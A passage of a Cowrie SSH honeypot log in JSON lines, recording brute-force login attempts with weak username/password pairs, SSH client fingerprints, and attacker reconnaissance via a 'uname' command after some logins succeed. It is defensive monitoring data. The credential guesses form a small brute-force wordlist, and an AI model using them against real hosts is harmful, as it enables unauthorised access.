ert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:49.586222Z","src_ip":"176.65.139.95","session":"6937adf8eb8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:49.922656Z","src_ip":"176.65.139.95","session":"6937adf8eb8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:51.026658Z","src_ip":"176.65.139.95","session":"6937adf8eb8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36776,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1b816aab652","protocol":"ssh","message":"New connection: 159.203.92.129:36776 (159.203.135.109:22) [session: b1b816aab652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:51.480490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:51.488975Z","src_ip":"159.203.92.129","session":"b1b816aab652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:51.495120Z","src_ip":"159.203.92.129","session":"b1b816aab652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Mawenjuan","password":"Mawenjuan","message":"login attempt [Mawenjuan/Mawenjuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:51.508885Z","src_ip":"159.203.92.129","session":"b1b816aab652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56434,"dst_ip":"159.203.135.109","dst_port":22,"session":"a03b3faa1053","protocol":"ssh","message":"New connection: 192.109.200.78:56434 (159.203.135.109:22) [session: a03b3faa1053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:52.119113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:52.123389Z","src_ip":"192.109.200.78","session":"a03b3faa1053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:52.205765Z","src_ip":"192.109.200.78","session":"a03b3faa1053","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:52.452267Z","src_ip":"192.109.200.78","session":"a03b3faa1053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:52.532870Z","src_ip":"159.203.92.129","session":"b1b816aab652","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:52.672516Z","src_ip":"192.109.200.78","session":"a03b3faa1053","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:52.674807Z","src_ip":"192.109.200.78","session":"a03b3faa1053","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:52.758204Z","src_ip":"192.109.200.78","session":"a03b3faa1053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:52.763070Z","src_ip":"192.109.200.78","session":"a03b3faa1053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38602,"dst_ip":"159.203.135.109","dst_port":22,"session":"7454eaaada8e","protocol":"ssh","message":"New connection: 176.65.139.95:38602 (159.203.135.109:22) [session: 7454eaaada8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:55.508305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:55.512995Z","src_ip":"176.65.139.95","session":"7454eaaada8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:55.596729Z","src_ip":"176.65.139.95","session":"7454eaaada8e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:55.928192Z","src_ip":"176.65.139.95","session":"7454eaaada8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56438,"dst_ip":"159.203.135.109","dst_port":22,"session":"66f751baae2a","protocol":"ssh","message":"New connection: 192.109.200.78:56438 (159.203.135.109:22) [session: 66f751baae2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:56.020674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:56.025989Z","src_ip":"192.109.200.78","session":"66f751baae2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:56.254733Z","src_ip":"192.109.200.78","session":"66f751baae2a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:56.306543Z","src_ip":"176.65.139.95","session":"7454eaaada8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:56.310378Z","src_ip":"176.65.139.95","session":"7454eaaada8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:56.396375Z","src_ip":"176.65.139.95","session":"7454eaaada8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:56.401495Z","src_ip":"176.65.139.95","session":"7454eaaada8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:56.884699Z","src_ip":"192.109.200.78","session":"66f751baae2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:57.972742Z","src_ip":"192.109.200.78","session":"66f751baae2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36164,"dst_ip":"159.203.135.109","dst_port":22,"session":"c261edc6b750","protocol":"ssh","message":"New connection: 192.109.200.78:36164 (159.203.135.109:22) [session: c261edc6b750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:00.092018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:00.097279Z","src_ip":"192.109.200.78","session":"c261edc6b750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:00.180482Z","src_ip":"192.109.200.78","session":"c261edc6b750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:00.434439Z","src_ip":"192.109.200.78","session":"c261edc6b750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:01.527136Z","src_ip":"192.109.200.78","session":"c261edc6b750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53620,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc93732bf81a","protocol":"ssh","message":"New connection: 176.65.139.95:53620 (159.203.135.109:22) [session: cc93732bf81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:01.607050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:01.613595Z","src_ip":"176.65.139.95","session":"cc93732bf81a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:01.726395Z","src_ip":"176.65.139.95","session":"cc93732bf81a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:01.985442Z","src_ip":"176.65.139.95","session":"cc93732bf81a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:03.120846Z","src_ip":"176.65.139.95","session":"cc93732bf81a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36170,"dst_ip":"159.203.135.109","dst_port":22,"session":"1091eaee33d2","protocol":"ssh","message":"New connection: 192.109.200.78:36170 (159.203.135.109:22) [session: 1091eaee33d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:04.050667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:04.055645Z","src_ip":"192.109.200.78","session":"1091eaee33d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:04.144467Z","src_ip":"192.109.200.78","session":"1091eaee33d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:04.397819Z","src_ip":"192.109.200.78","session":"1091eaee33d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:05.486648Z","src_ip":"192.109.200.78","session":"1091eaee33d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00243520736694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:07.190088Z","src_ip":"152.59.179.89","session":"b91f7dfd0f82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53634,"dst_ip":"159.203.135.109","dst_port":22,"session":"31cc157778ba","protocol":"ssh","message":"New connection: 176.65.139.95:53634 (159.203.135.109:22) [session: 31cc157778ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:07.883494Z"}
